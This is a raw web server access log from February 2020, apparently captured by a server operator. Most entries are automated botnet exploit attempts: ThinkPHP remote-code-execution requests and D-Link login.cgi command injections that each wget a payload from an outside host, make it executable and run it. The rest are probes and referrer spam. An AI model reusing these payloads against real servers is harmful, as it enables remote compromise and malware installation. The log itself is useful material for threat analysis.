94.51.28.234 - - [03/Feb/2020:01:23:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.45.243.126 - - [03/Feb/2020:01:25:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.32.132.108 - - [03/Feb/2020:01:25:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.22.79.194 - - [03/Feb/2020:01:28:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.18.10 - - [03/Feb/2020:01:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.188.93 - - [03/Feb/2020:01:32:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.70.200.56 - - [03/Feb/2020:01:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.91.82.246 - - [03/Feb/2020:01:36:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.230.240.179 - - [03/Feb/2020:01:37:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.122.222 - - [03/Feb/2020:01:37:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.207.195.52 - - [03/Feb/2020:01:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.52 - - [03/Feb/2020:01:41:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.15.70 - - [03/Feb/2020:01:42:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.126.74 - - [03/Feb/2020:01:42:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.126.74 - - [03/Feb/2020:01:42:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.123.163.19 - - [03/Feb/2020:01:43:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
201.150.26.14 - - [03/Feb/2020:01:45:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.58.206.240 - - [03/Feb/2020:01:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.88.140.156 - - [03/Feb/2020:01:50:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.36.49.68 - - [03/Feb/2020:01:51:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.86.178 - - [03/Feb/2020:01:53:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.70.67.38 - - [03/Feb/2020:01:53:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.70.123.224 - - [03/Feb/2020:01:54:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.227 - - [03/Feb/2020:01:59:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.193.219.242 - - [03/Feb/2020:02:00:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.159.2.106 - - [03/Feb/2020:02:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.170.33.8 - - [03/Feb/2020:02:03:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
118.120.42.238 - - [03/Feb/2020:02:05:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.172 - - [03/Feb/2020:02:09:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.209.102.59 - - [03/Feb/2020:02:11:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.166.220.109 - - [03/Feb/2020:02:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.20.134 - - [03/Feb/2020:02:13:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.120.138.216 - - [03/Feb/2020:02:21:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
186.159.8.170 - - [03/Feb/2020:02:26:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.153.52.161 - - [03/Feb/2020:02:29:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.52.82.110 - - [03/Feb/2020:02:29:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.29.30.253 - - [03/Feb/2020:02:31:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.5.50.108 - - [03/Feb/2020:02:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.156.219.164 - - [03/Feb/2020:02:32:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.184.133.130 - - [03/Feb/2020:02:36:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.148.218.22 - - [03/Feb/2020:02:41:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
209.159.154.190 - - [03/Feb/2020:02:52:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
1.54.139.89 - - [03/Feb/2020:02:53:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.70 - - [03/Feb/2020:02:55:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.137.201 - - [03/Feb/2020:02:55:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.202.212.237 - - [03/Feb/2020:02:57:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.141.158 - - [03/Feb/2020:02:59:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.83.227.223 - - [03/Feb/2020:02:59:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
27.142.249.93 - - [03/Feb/2020:03:00:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.35.11 - - [03/Feb/2020:03:01:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.35.43 - - [03/Feb/2020:03:07:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.56.46.16 - - [03/Feb/2020:03:09:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.183.113 - - [03/Feb/2020:03:12:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [03/Feb/2020:03:12:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
5.160.214.210 - - [03/Feb/2020:03:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:03:13:33 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
118.89.144.131 - - [03/Feb/2020:03:20:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
58.186.78.50 - - [03/Feb/2020:03:21:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.114.149.10 - - [03/Feb/2020:03:23:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.152.39 - - [03/Feb/2020:03:23:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.236.204.105 - - [03/Feb/2020:03:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
114.235.114.14 - - [03/Feb/2020:03:25:33 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
42.117.15.70 - - [03/Feb/2020:03:26:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:03:34:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:03:34:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:03:36:20 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
46.119.171.190 - - [03/Feb/2020:03:38:25 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [03/Feb/2020:03:38:25 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [03/Feb/2020:03:38:25 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
1.53.172.33 - - [03/Feb/2020:03:38:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.164.103.208 - - [03/Feb/2020:03:39:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.159.97.13 - - [03/Feb/2020:03:45:29 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
183.80.131.123 - - [03/Feb/2020:03:46:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.163.29.158 - - [03/Feb/2020:03:49:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.36.108.3 - - [03/Feb/2020:03:53:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.247.157 - - [03/Feb/2020:03:53:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.97.34 - - [03/Feb/2020:03:56:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.59.139 - - [03/Feb/2020:03:57:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [03/Feb/2020:03:57:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
175.34.172.19 - - [03/Feb/2020:03:59:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.159.116.58 - - [03/Feb/2020:03:59:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.120.44.244 - - [03/Feb/2020:04:09:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
144.217.240.136 - - [03/Feb/2020:04:11:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.114.169.56 - - [03/Feb/2020:04:11:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.163.233 - - [03/Feb/2020:04:17:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.35.39.157 - - [03/Feb/2020:04:17:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.212.232 - - [03/Feb/2020:04:18:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.73.183.22 - - [03/Feb/2020:04:20:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.53.86.127 - - [03/Feb/2020:04:21:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.172 - - [03/Feb/2020:04:22:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [03/Feb/2020:04:25:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.133.81.180 - - [03/Feb/2020:04:25:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.17.255.206 - - [03/Feb/2020:04:29:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.160.226.122 - - [03/Feb/2020:04:32:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
